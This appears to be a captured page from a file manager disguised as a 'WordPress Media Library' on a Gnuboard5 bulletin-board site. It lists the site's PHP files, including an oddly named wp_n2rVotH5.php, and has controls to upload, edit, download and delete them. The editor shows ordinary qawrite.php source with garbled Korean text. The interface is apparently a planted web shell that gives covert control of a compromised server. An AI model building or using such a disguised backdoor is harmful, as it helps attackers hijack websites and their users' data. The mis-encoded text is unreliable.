โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: qawrite.php
Size: 4.23 KB | Modified: 2019-12-05 09:09:25
<?php include_once('./_common.php'); include_once(G5_EDITOR_LIB); if($w != '' && $w != 'u' && $w != 'r') { alert('์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํด ์ฃผ์ญ์์ค.'); } if($is_guest) alert('ํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', './login.php?url='.urlencode(G5_BBS_URL.'/qalist.php')); $qaconfig = get_qa_config(); $g5['title'] = $qaconfig['qa_title']; include_once('./qahead.php'); $skin_file = $qa_skin_path.'/write.skin.php'; if(is_file($skin_file)) { /*========================== $w == a : ๋ต๋ณ $w == r : ์ถ๊ฐ์ง๋ฌธ $w == u : ์์ ==========================*/ if($w == 'u' || $w == 'r') { $sql = " select * from {$g5['qa_content_table']} where qa_id = '$qa_id' "; if(!$is_admin) { $sql .= " and mb_id = '{$member['mb_id']}' "; } $write = sql_fetch($sql); if($w == 'u') { if(!$write['qa_id']) alert('๊ฒ์๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค.\\n์ญ์ ๋์๊ฑฐ๋ ์์ ์ ๊ธ์ด ์๋ ๊ฒฝ์ฐ์ ๋๋ค.'); if(!$is_admin) { if($write['qa_type'] == 0 && $write['qa_status'] == 1) alert('๋ต๋ณ์ด ๋ฑ๋ก๋ ๋ฌธ์๊ธ์ ์์ ํ ์ ์์ต๋๋ค.'); if($write['mb_id'] != $member['mb_id']) alert('๊ฒ์๊ธ์ ์์ ํ ๊ถํ์ด ์์ต๋๋ค.\\n\\n์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํด ์ฃผ์ญ์์ค.', G5_URL); } } } // ๋ถ๋ฅ $category_option = ''; if(trim($qaconfig['qa_category'])) { $category = explode('|', $qaconfig['qa_category']); for($i=0; $i<count($category); $i++) { $category_option .= option_selected($category[$i], $write['qa_category']); } } else { alert('1:1๋ฌธ์ ์ค์ ์์ ๋ถ๋ฅ๋ฅผ ์ค์ ํด ์ฃผ์ญ์์ค'); } $is_dhtml_editor = false; if ($config['cf_editor'] && $qaconfig['qa_use_editor'] && (!is_mobile() || defined('G5_IS_MOBILE_DHTML_USE') && G5_IS_MOBILE_DHTML_USE)) { $is_dhtml_editor = true; } // ์ถ๊ฐ์ง๋ฌธ์์๋ ์ ๋ชฉ์ ๊ณต๋ฐฑ์ผ๋ก if($w == 'r') $write['qa_subject'] = ''; $content = ''; if ($w == '') { $content = html_purifier($qaconfig['qa_insert_content']); } else if($w == 'r') { if($is_dhtml_editor) $content = '<div><br><br><br>====== ์ด์ ๋ต๋ณ๋ด์ฉ =======<br></div>'; else $content = "\n\n\n\n====== ์ด์ ๋ต๋ณ๋ด์ฉ =======\n"; $content .= get_text($write['qa_content'], 0); } else { //$content = get_text($write['qa_content'], 0); // KISA ์ทจ์ฝ์ ๊ถ๊ณ ์ฌํญ Stored XSS $content = get_text(html_purifier($write['qa_content']), 0); } $editor_html = editor_html('qa_content', $content, $is_dhtml_editor); $editor_js = ''; $editor_js .= get_editor_js('qa_content', $is_dhtml_editor); $editor_js .= chk_editor_js('qa_content', $is_dhtml_editor); $upload_max_filesize = number_format($qaconfig['qa_upload_size']) . ' ๋ฐ์ดํธ'; $html_value = ''; if ($write['qa_html']) { $html_checked = 'checked'; $html_value = $write['qa_html']; if($w == 'r' && $write['qa_html'] == 1 && !$is_dhtml_editor) $html_value = 2; } $is_email = false; $req_email = ''; if($qaconfig['qa_use_email']) { $is_email = true; if($qaconfig['qa_req_email']) $req_email = 'required'; if($w == '' || $w == 'r') $write['qa_email'] = $member['mb_email']; if($w == 'u' && $is_admin && $write['qa_type']) $is_email = false; } $is_hp = false; $req_hp = ''; if($qaconfig['qa_use_hp']) { $is_hp = true; if($qaconfig['qa_req_hp']) $req_hp = 'required'; if($w == '' || $w == 'r') $write['qa_hp'] = $member['mb_hp']; if($w == 'u' && $is_admin && $write['qa_type']) $is_hp = false; } $list_href = G5_BBS_URL.'/qalist.php'.preg_replace('/^&/', '?', $qstr); $action_url = https_url(G5_BBS_DIR).'/qawrite_update.php'; include_once($skin_file); } else { echo '<div>'.str_replace(G5_PATH.'/', '', $skin_file).'์ด ์กด์ฌํ์ง ์์ต๋๋ค.</div>'; } include_once('./qatail.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete